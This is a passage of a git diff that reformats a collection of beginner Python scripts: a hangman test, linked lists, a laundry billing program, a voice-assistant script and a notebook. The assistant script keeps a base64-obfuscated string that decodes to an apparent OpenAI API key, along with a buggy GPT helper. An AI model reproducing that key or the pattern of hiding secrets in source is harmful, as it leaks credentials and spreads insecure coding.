b/Industrial_developed_hangman/tests/test_hangman/test_main.py @@ -39,9 +39,9 @@ def test_parse_word_from_local() -> None: def test_parse_word_from_local_error() -> None: - data_path = Path(os.path.abspath('')) / 'Data' - real_name = 'local_words.txt' - time_name = 'local_words_not_exist.txt' + data_path = Path(os.path.abspath("")) / "Data" + real_name = "local_words.txt" + time_name = "local_words_not_exist.txt" os.rename(data_path / real_name, data_path / time_name) with pytest.raises(FileNotFoundError): @@ -56,50 +56,60 @@ def test_parse_word_from_site() -> None: def test_parse_word_from_site_no_internet() -> None: with requests_mock.Mocker() as mock: - mock.get('https://random-word-api.herokuapp.com/word', text='["some text"]') - assert parse_word_from_site() == 'some text' + mock.get("https://random-word-api.herokuapp.com/word", text='["some text"]') + assert parse_word_from_site() == "some text" def test_parse_word_from_site_err() -> None: with pytest.raises(RuntimeError): - parse_word_from_site(url='https://www.google.com/dsfsdfds/sdfsdf/sdfds') + parse_word_from_site(url="https://www.google.com/dsfsdfds/sdfsdf/sdfds") def test_get_word(choice_fn: Callable) -> None: fk_print = FkPrint() - fk_input = FkInput(['none']) - main_process = MainProcess(Source(1), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn) + fk_input = FkInput(["none"]) + main_process = MainProcess( + Source(1), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn + ) assert isinstance(main_process.get_word(), str) def test_start_game_win(choice_fn: Callable) -> None: fk_print = FkPrint() - fk_input = FkInput(['j', 'a', 'm']) - main_process = MainProcess(Source(0), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn) + fk_input = FkInput(["j", "a", "m"]) + main_process = MainProcess( + Source(0), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn + ) main_process.start_game() - assert 'YOU WON' in fk_print.container[-1] + assert "YOU WON" in fk_print.container[-1] -@pytest.mark.parametrize('input_str', [[letter] * 10 for letter in 'qwertyuiopasdfghjklzxcvbnm']) # noqa: WPS435 +@pytest.mark.parametrize( + "input_str", [[letter] * 10 for letter in "qwertyuiopasdfghjklzxcvbnm"] +) # noqa: WPS435 def test_start_game_loose(input_str: List[str], choice_fn: Callable) -> None: fk_print = FkPrint() fk_input = FkInput(input_str) - main_process = MainProcess(Source(0), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn) + main_process = MainProcess( + Source(0), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn + ) main_process.start_game() - assert 'YOU LOST' in fk_print.container[-1] + assert "YOU LOST" in fk_print.container[-1] def test_wow_year(freezer, choice_fn: Callable) -> None: - freezer.move_to('2135-10-17') + freezer.move_to("2135-10-17") fk_print = FkPrint() - fk_input = FkInput(['none'] * 100) # noqa: WPS435 - main_process = MainProcess(Source(0), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn) + fk_input = FkInput(["none"] * 100) # noqa: WPS435 + main_process = MainProcess( + Source(0), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn + ) main_process.start_game() - assert 'this program' in fk_print.container[0] + assert "this program" in fk_print.container[0] diff --git a/Infix_to_Postfix.py b/Infix_to_Postfix.py index bdffa82e63c..597cd35cef3 100644 --- a/Infix_to_Postfix.py +++ b/Infix_to_Postfix.py @@ -2,7 +2,6 @@ # Class to convert the expression class Conversion: - # Constructor to initialize the class variables def __init__(self, capacity): self.top = -1 @@ -52,7 +51,6 @@ def notGreater(self, i): # The main function that converts given infix expression # to postfix expression def infixToPostfix(self, exp): - # Iterate over the expression for conversion for i in exp: # If the character is an operand, diff --git a/JARVIS/JARVIS_2.0.py b/JARVIS/JARVIS_2.0.py index 654b82f1deb..676c6b833ce 100644 --- a/JARVIS/JARVIS_2.0.py +++ b/JARVIS/JARVIS_2.0.py @@ -13,7 +13,7 @@ import subprocess # subprocess module allows you to spawn new processes # master -import pyjokes # for generating random jokes +import pyjokes # for generating random jokes import requests import json from PIL import ImageGrab @@ -30,17 +30,18 @@ # master # auto install for pyttsx3 and speechRecognition import os + try: - import pyttsx3 #Check if already installed -except:# If not installed give exception - os.system('pip install pyttsx3')#install at run time - import pyttsx3 #import again for speak function + import pyttsx3 # Check if already installed +except: # If not installed give exception + os.system("pip install pyttsx3") # install at run time + import pyttsx3 # import again for speak function -try : +try: import speech_recognition as sr except: - os.system('pip install speechRecognition') - import speech_recognition as sr # speech_recognition Library for performing speech recognition with support for Google Speech Recognition, etc.. + os.system("pip install speechRecognition") + import speech_recognition as sr # speech_recognition Library for performing speech recognition with support for Google Speech Recognition, etc.. # importing the pyttsx3 library import webbrowser @@ -82,25 +83,32 @@ def sendEmail(to, content): server.sendmail("youremail@gmail.com", to, content) server.close() + import openai -import base64 -stab=(base64.b64decode(b'c2stMGhEOE80bDYyZXJ5ajJQQ3FBazNUM0JsYmtGSmRsckdDSGxtd3VhQUE1WWxsZFJx').decode("utf-8")) +import base64 + +stab = base64.b64decode( + b"c2stMGhEOE80bDYyZXJ5ajJQQ3FBazNUM0JsYmtGSmRsckdDSGxtd3VhQUE1WWxsZFJx" +).decode("utf-8") api_key = stab + + def ask_gpt3(que): openai.api_key = api_key response = openai.Completion.create( - engine="text-davinci-002", + engine="text-davinci-002", prompt=f"Answer the following question: {question}\n", - max_tokens=150, - n = 1, - stop=None, - temperature=0.7 + max_tokens=150, + n=1, + stop=None, + temperature=0.7, ) answer = response.choices[0].text.strip() return answer + def wishme(): # This function wishes user hour = int(datetime.datetime.now().hour) @@ -249,9 +257,9 @@ def get_app(Q): elif Q == "open github": webbrowser.open("https://github.com/") elif Q == "search for": - que=Q.lstrip("search for") + que = Q.lstrip("search for") answer = ask_gpt3(que) - + elif ( Q == "email to other" ): # here you want to change and input your mail and password whenver you implement @@ -312,7 +320,7 @@ def get_app(Q): "paint": "mspaint.exe", "cmd": "cmd.exe", "browser": r"C:\\Program Files\Internet Explorer\iexplore.exe", - "vscode": r"C:\\Users\\Users\\User\\AppData\\Local\\Programs\Microsoft VS Code" + "vscode": r"C:\\Users\\Users\\User\\AppData\\Local\\Programs\Microsoft VS Code", } # master diff --git a/Job_scheduling.py b/Job_scheduling.py index 6ac96c24abd..fedad00654a 100644 --- a/Job_scheduling.py +++ b/Job_scheduling.py @@ -4,6 +4,7 @@ Author : Mohit Kumar Job Sequencing Problem implemented in python """ + from collections import namedtuple from typing import List diff --git a/Key_Binding/key_binding.py b/Key_Binding/key_binding.py index dfd448497b1..3cedfe512d7 100644 --- a/Key_Binding/key_binding.py +++ b/Key_Binding/key_binding.py @@ -3,8 +3,10 @@ session = Prompt() + @bind.add("ctrl-h") def _(event): print("Hello, World") + session.prompt("") diff --git a/Kilometerstomile.py b/Kilometerstomile.py index 2a4d33c8ff2..fc7b32304c8 100644 --- a/Kilometerstomile.py +++ b/Kilometerstomile.py @@ -6,4 +6,4 @@ # calculate miles miles = kilometers * conv_fac -print(f'{kilometers:.2f} kilometers is equal to {miles:.2f} miles') +print(f"{kilometers:.2f} kilometers is equal to {miles:.2f} miles") diff --git a/LETTER GUESSER.py b/LETTER GUESSER.py index 03f7290c7b4..0751ed25542 100644 --- a/LETTER GUESSER.py +++ b/LETTER GUESSER.py @@ -14,19 +14,19 @@ failed = 10 while failed > 0: - if userInput == compChosse: - print("---------->") - print("You are correct!") - print("---------->") - print("Your guesses: " + str(10 - failed)) - break - - elif userInput != compChosse: - failed = failed - 1 - - print(":no your wrong: " + "left: " + str(failed)) - - userInput = input("guess:") - - if failed == 0: - print("out of guesses") + if userInput == compChosse: + print("---------->") + print("You are correct!") + print("---------->") + print("Your guesses: " + str(10 - failed)) + break + + elif userInput != compChosse: + failed = failed - 1 + + print(":no your wrong: " + "left: " + str(failed)) + + userInput = input("guess:") + + if failed == 0: + print("out of guesses") diff --git a/Laundary System/code.py b/Laundary System/code.py index 1c71e5a365b..96817e49f7b 100644 --- a/Laundary System/code.py +++ b/Laundary System/code.py @@ -1,75 +1,83 @@ -id=1 -class LaundryService: - def __init__(self,Name_of_customer,Contact_of_customer,Email,Type_of_cloth,Branded,Season,id): - self.Name_of_customer=Name_of_customer - self.Contact_of_customer=Contact_of_customer - self.Email=Email - self.Type_of_cloth=Type_of_cloth - self.Branded=Branded - self.Season=Season - self.id=id +id = 1 - def customerDetails(self): - print("The Specific Details of customer:") - print("customer ID: ",self.id) - print("customer name:", self.Name_of_customer) - print("customer contact no. :", self.Contact_of_customer) - print("customer email:", self.Email) - print("type of cloth", self.Type_of_cloth) - if self.Branded == 1: - a=True - else: - a=False - print("Branded", a) - def calculateCharge(self): - a=0 - if self.Type_of_cloth=="Cotton": - a=50.0 - elif self.Type_of_cloth=="Silk": - a=30.0 - elif self.Type_of_cloth=="Woolen": - a=90.0 - elif self.Type_of_cloth=="Polyester": - a=20.0 - if self.Branded==1: - a=1.5*(a) - else: - pass - if self.Season=="Winter": - a=0.5*a - else: - a=2*a - print(a) - return a - def finalDetails(self): - self.customerDetails() - print("Final charge:",end="") - if self.calculateCharge() >200: - print("to be return in 4 days") - else: - print("to be return in 7 days") -while True: - name=input("Enter the name: ") - contact=int(input("Enter the contact: ")) - email=input("Enter the email: ") - cloth=input("Enter the type of cloth: ") - brand=bool(input("Branded ? ")) - season=input("Enter the season: ") - obj=LaundryService(name,contact,email,cloth,brand,season,id) - obj.finalDetails() - id=id+1 - z=input("Do you want to continue(Y/N):") - if z=="Y": - continue - elif z =="N": - print("Thanks for visiting!") - break - else: - print("Select valid option") +class LaundryService: + def __init__( + self, + Name_of_customer, + Contact_of_customer, + Email, + Type_of_cloth, + Branded, + Season, + id, + ): + self.Name_of_customer = Name_of_customer + self.Contact_of_customer = Contact_of_customer + self.Email = Email + self.Type_of_cloth = Type_of_cloth + self.Branded = Branded + self.Season = Season + self.id = id + def customerDetails(self): + print("The Specific Details of customer:") + print("customer ID: ", self.id) + print("customer name:", self.Name_of_customer) + print("customer contact no. :", self.Contact_of_customer) + print("customer email:", self.Email) + print("type of cloth", self.Type_of_cloth) + if self.Branded == 1: + a = True + else: + a = False + print("Branded", a) + def calculateCharge(self): + a = 0 + if self.Type_of_cloth == "Cotton": + a = 50.0 + elif self.Type_of_cloth == "Silk": + a = 30.0 + elif self.Type_of_cloth == "Woolen": + a = 90.0 + elif self.Type_of_cloth == "Polyester": + a = 20.0 + if self.Branded == 1: + a = 1.5 * (a) + else: + pass + if self.Season == "Winter": + a = 0.5 * a + else: + a = 2 * a + print(a) + return a + def finalDetails(self): + self.customerDetails() + print("Final charge:", end="") + if self.calculateCharge() > 200: + print("to be return in 4 days") + else: + print("to be return in 7 days") - \ No newline at end of file +while True: + name = input("Enter the name: ") + contact = int(input("Enter the contact: ")) + email = input("Enter the email: ") + cloth = input("Enter the type of cloth: ") + brand = bool(input("Branded ? ")) + season = input("Enter the season: ") + obj = LaundryService(name, contact, email, cloth, brand, season, id) + obj.finalDetails() + id = id + 1 + z = input("Do you want to continue(Y/N):") + if z == "Y": + continue + elif z == "N": + print("Thanks for visiting!") + break + else: + print("Select valid option") diff --git a/LinkedLists all Types/circular_linked_list.py b/LinkedLists all Types/circular_linked_list.py index 1bba861dc8b..44e6aeee73c 100644 --- a/LinkedLists all Types/circular_linked_list.py +++ b/LinkedLists all Types/circular_linked_list.py @@ -1,17 +1,19 @@ -'''Author - Mugen https://github.com/Mugendesu''' +"""Author - Mugen https://github.com/Mugendesu""" -class Node : - def __init__(self , data , next = None): + +class Node: + def __init__(self, data, next=None): self.data = data self.next = next -class CircularLinkedList : + +class CircularLinkedList: def __init__(self): self.head = self.tail = None self.length = 0 - - def insert_at_beginning(self , data): - node = Node(data , self.head) + + def insert_at_beginning(self, data): + node = Node(data, self.head) if self.head is None: self.head = self.tail = node node.next = node @@ -20,9 +22,9 @@ def insert_at_beginning(self , data): self.head = node self.tail.next = node self.length += 1 - - def insert_at_end(self , data): - node = Node(data , self.head) + + def insert_at_end(self, data): + node = Node(data, self.head) if self.head is None: self.head = self.tail = node node.next = node @@ -31,21 +33,21 @@ def insert_at_end(self , data): self.tail.next = node self.tail = node self.length += 1 - + def len(self): return self.length - + def pop_at_beginning(self): if self.head is None: - print('List is Empty!') + print("List is Empty!") return self.head = self.head.next self.tail.next = self.head - self.length -= 1 - + self.length -= 1 + def pop_at_end(self): if self.head is None: - print('List is Empty!') + print("List is Empty!") return temp = self.head while temp: @@ -54,27 +56,27 @@ def pop_at_end(self): self.tail = temp temp.next = self.head self.length -= 1 - return + return temp = temp.next - - def insert_values(self , arr : list): + + def insert_values(self, arr: list): self.head = self.tail = None self.length = 0 for i in arr: self.insert_at_end(i) - + def print(self): if self.head is None: - print('The List is Empty!') + print("The List is Empty!") return temp = self.head.next - print(f'{self.head.data} ->' , end=' ') + print(f"{self.head.data} ->", end=" ") while temp != self.head: - print(f'{temp.data} ->' , end=' ') + print(f"{temp.data} ->", end=" ") temp = temp.next - print(f'{self.tail.next.data}') - - def insert_at(self , idx , data): + print(f"{self.tail.next.data}") + + def insert_at(self, idx, data): if idx == 0: self.insert_at_beginning(data) return @@ -82,22 +84,22 @@ def insert_at(self , idx , data): self.insert_at_end(data) return elif 0 > idx or idx > self.length: - raise Exception('Invalid Position') + raise Exception("Invalid Position") return pos = 0 temp = self.head while temp: if pos == idx - 1: - node = Node(data , temp.next) + node = Node(data, temp.next) temp.next = node self.length += 1 return pos += 1 - temp = temp.next - - def remove_at(self , idx): + temp = temp.next + + def remove_at(self, idx): if 0 > idx or idx >= self.length: - raise Exception('Invalid Position') + raise Exception("Invalid Position") elif idx == 0: self.pop_at_beginning() return @@ -112,22 +114,22 @@ def remove_at(self , idx): self.length -= 1 return pos += 1 - temp = temp.next - + temp = temp.next + + def main(): ll = CircularLinkedList() - ll.insert_at_end(1) - ll.insert_at_end(4) - ll.insert_at_end(3) + ll.insert_at_end(1) + ll.insert_at_end(4) + ll.insert_at_end(3) ll.insert_at_beginning(2) - ll.insert_values([1 , 2, 3 ,4 ,5 ,6,53,3]) - # ll.pop_at_end() - ll.insert_at(8, 7) - # ll.remove_at(2) + ll.insert_values([1, 2, 3, 4, 5, 6, 53, 3]) + # ll.pop_at_end() + ll.insert_at(8, 7) + # ll.remove_at(2) ll.print() - print(f'{ll.len() = }') - + print(f"{ll.len() = }") -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/LinkedLists all Types/doubly_linked_list.py b/LinkedLists all Types/doubly_linked_list.py index 8ca7a2f87fa..ed451dc58cd 100644 --- a/LinkedLists all Types/doubly_linked_list.py +++ b/LinkedLists all Types/doubly_linked_list.py @@ -1,34 +1,36 @@ -'''Contains Most of the Doubly Linked List functions.\n +"""Contains Most of the Doubly Linked List functions.\n 'variable_name' = doubly_linked_list.DoublyLinkedList() to use this an external module.\n 'variable_name'.insert_front('element') \t,'variable_name'.insert_back('element'),\n 'variable_name'.pop_front() are some of its functions.\n To print all of its Functions use print('variable_name'.__dir__()).\n Note:- 'variable_name' = doubly_linked_list.DoublyLinkedList() This line is Important before using any of the function. -Author :- Mugen https://github.com/Mugendesu -''' +Author :- Mugen https://github.com/Mugendesu +""" + + class Node: - def __init__(self, val=None , next = None , prev = None): + def __init__(self, val=None, next=None, prev=None): self.data = val self.next = next self.prev = prev + class DoublyLinkedList: - def __init__(self): self.head = self.tail = None - self.length = 0 + self.length = 0 - def insert_front(self , data): - node = Node(data , self.head) + def insert_front(self, data): + node = Node(data, self.head) if self.head == None: self.tail = node node.prev = self.head self.head = node self.length += 1 - - def insert_back(self , data): - node = Node(data ,None, self.tail) + + def insert_back(self, data): + node = Node(data, None, self.tail) if self.head == None: self.tail = self.head = node self.length += 1 @@ -36,49 +38,49 @@ def insert_back(self , data): self.tail.next = node self.tail = node self.length += 1 - - def insert_values(self , data_values : list): + + def insert_values(self, data_values: list): self.head = self.tail = None self.length = 0 for data in data_values: self.insert_back(data) - + def pop_front(self): if not self.head: - print('List is Empty!') + print("List is Empty!") return - + self.head = self.head.next self.head.prev = None self.length -= 1 - + def pop_back(self): if not self.head: - print('List is Empty!') + print("List is Empty!") return - + temp = self.tail self.tail = temp.prev temp.prev = self.tail.next = None self.length -= 1 - - def print(self): + + def print(self): if self.head is None: - print('Linked List is Empty!') + print("Linked List is Empty!") return temp = self.head - print('NULL <-' , end=' ') + print("NULL <-", end=" ") while temp: if temp.next == None: - print(f'{temp.data} ->' , end = ' ') + print(f"{temp.data} ->", end=" ") break - print(f'{temp.data} <=>' , end = ' ') + print(f"{temp.data} <=>", end=" ") temp = temp.next - print('NULL') - + print("NULL") + def len(self): - return self.length # O(1) length calculation + return self.length # O(1) length calculation # if self.head is None: # return 0 # count = 0 @@ -87,28 +89,28 @@ def len(self): # count += 1 # temp = temp.next # return count - - def remove_at(self , idx): + + def remove_at(self, idx): if idx < 0 or self.len() <= idx: - raise Exception('Invalid Position') + raise Exception("Invalid Position") if idx == 0: self.pop_front() return - elif idx == self.length -1: + elif idx == self.length - 1: self.pop_back() - return + return temp = self.head dist = 0 - while dist != idx-1: + while dist != idx - 1: dist += 1 temp = temp.next temp.next = temp.next.next temp.next.prev = temp.next.prev.prev self.length -= 1 - - def insert_at(self , idx : int , data ): + + def insert_at(self, idx: int, data): if idx < 0 or self.len() < idx: - raise Exception('Invalid Position') + raise Exception("Invalid Position") if idx == 0: self.insert_front(data) return @@ -117,32 +119,32 @@ def insert_at(self , idx : int , data ): return temp = self.head dist = 0 - while dist != idx-1: + while dist != idx - 1: dist += 1 temp = temp.next - node = Node(data , temp.next , temp) + node = Node(data, temp.next, temp) temp.next = node self.length += 1 - - def insert_after_value(self , idx_data , data): - if not self.head : # For Empty List case - print('List is Empty!') + + def insert_after_value(self, idx_data, data): + if not self.head: # For Empty List case + print("List is Empty!") return - - if self.head.data == idx_data: # To insert after the Head Element - self.insert_at(1 , data) + + if self.head.data == idx_data: # To insert after the Head Element + self.insert_at(1, data) return temp = self.head while temp: if temp.data == idx_data: - node = Node(data , temp.next , temp) + node = Node(data, temp.next, temp) temp.next = node self.length += 1 return temp = temp.next - print('The Element is not in the List!') - - def remove_by_value(self , idx_data): + print("The Element is not in the List!") + + def remove_by_value(self, idx_data): temp = self.head if temp.data == idx_data: self.pop_front() @@ -160,23 +162,24 @@ def remove_by_value(self , idx_data): temp = temp.next print("The Element is not the List!") - def index(self , data): - '''Returns the index of the Element''' - if not self.head : - print('List is Empty!') + def index(self, data): + """Returns the index of the Element""" + if not self.head: + print("List is Empty!") return idx = 0 temp = self.head while temp: - if temp.data == data: return idx + if temp.data == data: + return idx temp = temp.next idx += 1 - print('The Element is not in the List!') + print("The Element is not in the List!") - def search(self , idx): - '''Returns the Element at the Given Index''' + def search(self, idx): + """Returns the Element at the Given Index""" if self.len() == 0 or idx >= self.len(): - raise Exception('Invalid Position') + raise Exception("Invalid Position") return temp = self.head curr_idx = 0 @@ -185,10 +188,10 @@ def search(self , idx): return temp.data temp = temp.next curr_idx += 1 - + def reverse(self): if not self.head: - print('The List is Empty!') + print("The List is Empty!") return prev = c_next = None curr = self.head @@ -199,10 +202,10 @@ def reverse(self): curr = c_next self.tail = self.head self.head = prev - + def mid_element(self): if not self.head: - print('List is Empty!') + print("List is Empty!") return slow = self.head.next fast = self.head.next.next @@ -212,34 +215,47 @@ def mid_element(self): return slow.data def __dir__(self): - funcs = ['insert_front', 'insert_back','pop_front','pop_back','print','len','length','remove_at','insert_after_value','index','search','reverse','mid_element','__dir__'] + funcs = [ + "insert_front", + "insert_back", + "pop_front", + "pop_back", + "print", + "len", + "length", + "remove_at", + "insert_after_value", + "index", + "search", + "reverse", + "mid_element", + "__dir__", + ] return funcs + def main(): - ll : Node = DoublyLinkedList() - - ll.insert_front(1) - ll.insert_front(2) + ll: Node = DoublyLinkedList() + + ll.insert_front(1) + ll.insert_front(2) ll.insert_front(3) ll.insert_back(0) - ll.insert_values(['ZeroTwo' , 'Asuna' , 'Tsukasa' , 'Seras']) + ll.insert_values(["ZeroTwo", "Asuna", "Tsukasa", "Seras"]) # ll.remove_at(3) # ll.insert_at(4 , 'Raeliana') # ll.pop_back() - ll.insert_after_value('Asuna' , 'MaoMao') + ll.insert_after_value("Asuna", "MaoMao") # print(ll.search(4)) # ll.remove_by_value('Asuna') # ll.reverse() # print(ll.index('ZeroTwo')) - + ll.print() # print(ll.mid_element()) # print(ll.length) - # print(ll.__dir__()) - - - - - -if __name__ == '__main__': - main() \ No newline at end of file + # print(ll.__dir__()) + + +if __name__ == "__main__": + main() diff --git a/LinkedLists all Types/singly_linked_list.py b/LinkedLists all Types/singly_linked_list.py index abc10d897bd..f1242b29cf8 100644 --- a/LinkedLists all Types/singly_linked_list.py +++ b/LinkedLists all Types/singly_linked_list.py @@ -1,33 +1,34 @@ -'''Contains Most of the Singly Linked List functions.\n +"""Contains Most of the Singly Linked List functions.\n 'variable_name' = singly_linked_list.LinkedList() to use this an external module.\n 'variable_name'.insert_front('element') \t,'variable_name'.insert_back('element'),\n 'variable_name'.pop_front() are some of its functions.\n To print all of its Functions use print('variable_name'.__dir__()).\n Note:- 'variable_name' = singly_linked_list.LinkedList() This line is Important before using any of the function. -Author :- Mugen https://github.com/Mugendesu -''' +Author :- Mugen https://github.com/Mugendesu +""" + class Node: - def __init__(self, val=None , next = None ): + def __init__(self, val=None, next=None): self.data = val self.next = next + class LinkedList: - def __init__(self): self.head = self.tail = None - self.length = 0 + self.length = 0 - def insert_front(self , data): - node = Node(data , self.head) + def insert_front(self, data): + node = Node(data, self.head) if self.head == None: self.tail = node self.head = node self.length += 1 - - def insert_back(self , data): - node = Node(data ) + + def insert_back(self, data): + node = Node(data) if self.head == None: self.tail = self.head = node self.length += 1 @@ -35,48 +36,48 @@ def insert_back(self , data): self.tail.next = node self.tail = node self.length += 1 - - def insert_values(self , data_values : list): + + def insert_values(self, data_values: list): self.head = self.tail = None self.length = 0 for data in data_values: self.insert_back(data) - + def pop_front(self): if not self.head: - print('List is Empty!') + print("List is Empty!") return - + temp = self.head self.head = self.head.next temp.next = None self.length -= 1 - + def pop_back(self): if not self.head: - print('List is Empty!') + print("List is Empty!") return - + temp = self.head while temp.next != self.tail: temp = temp.next self.tail = temp temp.next = None self.length -= 1 - + def print(self): if self.head is None: - print('Linked List is Empty!') + print("Linked List is Empty!") return temp = self.head while temp: - print(f'{temp.data} ->' , end = ' ') + print(f"{temp.data} ->", end=" ") temp = temp.next - print('NULL') - + print("NULL") + def len(self): - return self.length # O(1) length calculation + return self.length # O(1) length calculation # if self.head is None: # return 0 # count = 0 @@ -85,88 +86,89 @@ def len(self): # count += 1 # temp = temp.next # return count - - def remove_at(self , idx): + + def remove_at(self, idx): if idx < 0 or self.len() <= idx: - raise Exception('Invalid Position') + raise Exception("Invalid Position") if idx == 0: self.head = self.head.next self.length -= 1 - return + return temp = self.head dist = 0 - while dist != idx-1: + while dist != idx - 1: dist += 1 temp = temp.next temp.next = temp.next.next self.length -= 1 - - def insert_at(self , idx : int , data ): + + def insert_at(self, idx: int, data): if idx < 0 or self.len() < idx: - raise Exception('Invalid Position') + raise Exception("Invalid Position") if idx == 0: self.insert_front(data) return temp = self.head dist = 0 - while dist != idx-1: + while dist != idx - 1: dist += 1 temp = temp.next - node = Node(data , temp.next) + node = Node(data, temp.next) temp.next = node self.length += 1 - - def insert_after_value(self , idx_data , data): - if not self.head : # For Empty List case - print('List is Empty!') + + def insert_after_value(self, idx_data, data): + if not self.head: # For Empty List case + print("List is Empty!") return - - if self.head.data == idx_data: # To insert after the Head Element - self.insert_at(1 , data) + + if self.head.data == idx_data: # To insert after the Head Element + self.insert_at(1, data) return temp = self.head while temp: if temp.data == idx_data: - node = Node(data , temp.next) + node = Node(data, temp.next) temp.next = node self.length += 1 return temp = temp.next - print('The Element is not in the List!') - - def remove_by_value(self , idx_data): + print("The Element is not in the List!") + + def remove_by_value(self, idx_data): temp = self.head if temp.data == idx_data: self.head = self.head.next - self.length -= 1 + self.length -= 1 temp.next = None return while temp.next != None: if temp.next.data == idx_data: - temp.next = temp.next.next + temp.next = temp.next.next self.length -= 1 return - + temp = temp.next - print('Element is not in the List!') + print("Element is not in the List!") - def index(self , data): - '''Returns the index of the Element''' - if not self.head : - print('List is Empty!') + def index(self, data): + """Returns the index of the Element""" + if not self.head: + print("List is Empty!") return idx = 0 temp = self.head while temp: - if temp.data == data: return idx + if temp.data == data: + return idx temp = temp.next idx += 1 - print('The Element is not in the List!') + print("The Element is not in the List!") - def search(self , idx): - '''Returns the Element at the Given Index''' + def search(self, idx): + """Returns the Element at the Given Index""" if self.len() == 0 or idx >= self.len(): - raise Exception('Invalid Position') + raise Exception("Invalid Position") return temp = self.head curr_idx = 0 @@ -175,10 +177,10 @@ def search(self , idx): return temp.data temp = temp.next curr_idx += 1 - + def reverse(self): if not self.head: - print('The List is Empty!') + print("The List is Empty!") return prev = c_next = None curr = self.head @@ -189,10 +191,10 @@ def reverse(self): curr = c_next self.tail = self.head self.head = prev - + def mid_element(self): if not self.head: - print('List is Empty!') + print("List is Empty!") return slow = self.head.next fast = self.head.next.next @@ -202,14 +204,30 @@ def mid_element(self): return slow.data def __dir__(self): - funcs = ['insert_front', 'insert_back','pop_front','pop_back','print','len','length','remove_at','insert_after_value','index','search','reverse','mid_element','__dir__'] + funcs = [ + "insert_front", + "insert_back", + "pop_front", + "pop_back", + "print", + "len", + "length", + "remove_at", + "insert_after_value", + "index", + "search", + "reverse", + "mid_element", + "__dir__", + ] return funcs - + + def main(): - ll : Node = LinkedList() + ll: Node = LinkedList() - # # ll.insert_front(1) - # # ll.insert_front(2) + # # ll.insert_front(1) + # # ll.insert_front(2) # # ll.insert_front(3) # # ll.insert_back(0) # ll.insert_values(['ZeroTwo' , 'Asuna' , 'Tsukasa' , 'Seras' ]) @@ -220,15 +238,12 @@ def main(): # # print(ll.search(5)) # ll.remove_by_value('Tsukasa') # ll.reverse() - + # ll.print() # print(ll.mid_element()) # print(ll.length) - print(ll.__dir__()) - - - - - -if __name__ == '__main__': + print(ll.__dir__()) + + +if __name__ == "__main__": main() diff --git a/List.py b/List.py index bfc9b223f26..4f93052338c 100644 --- a/List.py +++ b/List.py @@ -1,14 +1,14 @@ List = [] # List is Muteable # means value can be change -List.insert(0, 5) #insertion takes place at mentioned index -List.insert(1, 10) +List.insert(0, 5) # insertion takes place at mentioned index +List.insert(1, 10) List.insert(0, 6) print(List) -List.remove(6) -List.append(9) #insertion takes place at last +List.remove(6) +List.append(9) # insertion takes place at last List.append(1) -List.sort() #arranges element in ascending order +List.sort() # arranges element in ascending order print(List) List.pop() List.reverse() diff --git a/ML House Prediction.ipynb b/ML House Prediction.ipynb index 7babd729710..9f0fbbedaf6 100644 --- a/ML House Prediction.ipynb +++ b/ML House Prediction.ipynb @@ -22,7 +22,7 @@ "metadata": {}, "outputs": [], "source": [ - "housing= pd.read_csv(\"data.csv\")" + "housing = pd.read_csv(\"data.csv\")" ] }, { @@ -502,7 +502,7 @@ } ], "source": [ - "housing.hist(bins=50,figsize=(20,15))" + "housing.hist(bins=50, figsize=(20, 15))" ] }, { @@ -519,13 +519,15 @@ "outputs": [], "source": [ "import numpy as np\n", + "\n", + "\n", "def split_train_test(data, test_ratio):\n", " np.random.seed(42)\n", - " shuffled =np.random.permutation(len(data))\n", - " test_set_size =int(len(data)*test_ratio)\n", + " shuffled = np.random.permutation(len(data))\n", + " test_set_size = int(len(data) * test_ratio)\n", " test_indices = shuffled[:test_set_size]\n", " train_indices = shuffled[test_set_size:]\n", - " return data.iloc[train_indices],data.iloc[test_indices]" + " return data.iloc[train_indices], data.iloc[test_indices]" ] }, { @@ -534,7 +536,7 @@ "metadata": {}, "outputs": [], "source": [ - "train_set, test_set =split_train_test(housing,0.2)" + "train_set, test_set = split_train_test(housing, 0.2)" ] }, { @@ -571,7 +573,8 @@ ], "source": [ "from sklearn.model_selection import train_test_split\n", - "train_set, test_set =train_test_split(housing, test_size=0.2, random_state=42)\n", + "\n", + "train_set, test_set = train_test_split(housing, test_size=0.2, random_state=42)\n", "print(f\"Rows in train set: {len(train_set)} \\nRows in test set : {len(test_set)}\")" ] }, @@ -582,10 +585,11 @@ "outputs": [], "source": [ "from sklearn.model_selection import StratifiedShuffleSplit\n", - "split= StratifiedShuffleSplit(n_splits=1,test_size=0.2, random_state=42)\n", - "for train_index, test_index in split.split(housing, housing['CHAS']):\n", - " strat_train_set=housing.loc[train_index]\n", - " strat_test_set=housing.loc[test_index]" + "\n", + "split = StratifiedShuffleSplit(n_splits=1, test_size=0.2, random_state=42)\n", + "for train_index, test_index in split.split(housing, housing[\"CHAS\"]):\n", + " strat_train_set = housing.loc[train_index]\n", + " strat_test_set = housing.loc[test_index]" ] }, { @@ -831,7 +835,7 @@ } ], "source": [ - "strat_test_set['CHAS'].value_counts()" + "strat_test_set[\"CHAS\"].value_counts()" ] }, { @@ -853,7 +857,7 @@ } ], "source": [ - "strat_train_set['CHAS'].value_counts()" + "strat_train_set[\"CHAS\"].value_counts()" ] }, { @@ -862,7 +866,7 @@ "metadata": {}, "outputs": [], "source": [ - "housing= strat_train_set.copy() # use just after split data" + "housing = strat_train_set.copy() # use just after split data" ] }, { @@ -912,7 +916,7 @@ } ], "source": [ - "corr_matrix['MEDV'].sort_values(ascending=False)" + "corr_matrix[\"MEDV\"].sort_values(ascending=False)" ] }, { @@ -960,8 +964,9 @@ ], "source": [ "from pandas.plotting import scatter_matrix\n", - "attributes=[\"MEDV\",\"RM\",\"ZN\",\"LSTAT\"]\n", - "scatter_matrix(housing[attributes],figsize =(12,8))" + "\n", + "attributes = [\"MEDV\", \"RM\", \"ZN\", \"LSTAT\"]\n", + "scatter_matrix(housing[attributes], figsize=(12, 8))" ] }, { @@ -993,7 +998,7 @@ } ], "source": [ - "housing.plot(kind=\"scatter\",x=\"RM\",y=\"MEDV\",alpha=0.8)" + "housing.plot(kind=\"scatter\", x=\"RM\", y=\"MEDV\", 